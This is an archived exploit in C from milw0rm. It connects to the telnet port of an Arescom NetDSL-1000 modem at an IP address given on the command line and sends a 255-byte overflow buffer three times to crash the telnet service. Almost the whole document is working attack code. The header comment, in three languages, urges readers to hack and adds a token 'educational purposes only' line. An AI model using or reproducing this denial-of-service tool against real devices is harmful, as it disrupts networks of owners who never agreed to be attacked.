Arescom NetDSL-1000 - 'TelnetD' Remote Denial of Service

/*
    Do you want to hack? les`t go .. free your mind
    Tu veux etre un hacker? allez .. if faut libere ta tete!
    Quieres hackear? dale .. libera tu mente
    
    Vulnerabilidad en modem Arescom NetDSL-1000 
    por un buffer overflow debido < [255] en la pila stack.
    
    DoS atack por Fabian Ramirez S. <framirez@akori.fr>	
						www.framirez.com


	  If you flood the telnet configuration a couple dozen times with long
	strings, eventually the telnetd service flat out dies. Routing functions
	of the NetDSL continue to work fine as before. It is unknown whether only
	the telnetd service is affected, other means of remote configuration may
	have become unavailable as well.

	Remember:   KING
    
    Solo para fines educativos! (CREEEEEEO ZEEEEEEEEEEE)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>        

#define PORT 23
#define MAXDATASIZE 100   

char shellcode[]= "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
		  "\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1";

int main(int argc, char *argv[])
{
   int fd, numbytes,i;
   char buf[MAXDATASIZE];  
   struct hostent *he;         
   struct sockaddr_in server;  

   printf("Exploit Arescom NetDSL-1000 executing\n");
   printf ("	 		  by framirez\n");
   
   if (argc !=2) { 
      printf("Uso: %s <Dirección IP>\n",argv[0]);
      exit(-1);
   }


    
   if ((he=gethostbyname(argv[1]))==NULL){       
      printf("gethostbyname() error\n");
      exit(-1);
   }

   if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){  
      printf("socket() error\n");
      exit(-1);
   }

   server.sin_family = AF_INET;
   server.sin_port = htons(PORT); 
   server.sin_addr = *((struct in_addr *)he->h_addr);  

   if(connect(fd, (struct sockaddr *)&server,
      sizeof(struct sockaddr))==-1){ 
      printf("ERROR conectando al host\n");
      exit(-1);
   }
      
    for (i=0;i<3;i++)
    {
    send(fd,shellcode,255,0);
    }
    
    printf ("Exploit enviado con EXITO al destinatario\n");
    printf ("				   by framirez\n");

   close(fd); 

  return 1;
}

// milw0rm.com [2006-02-02]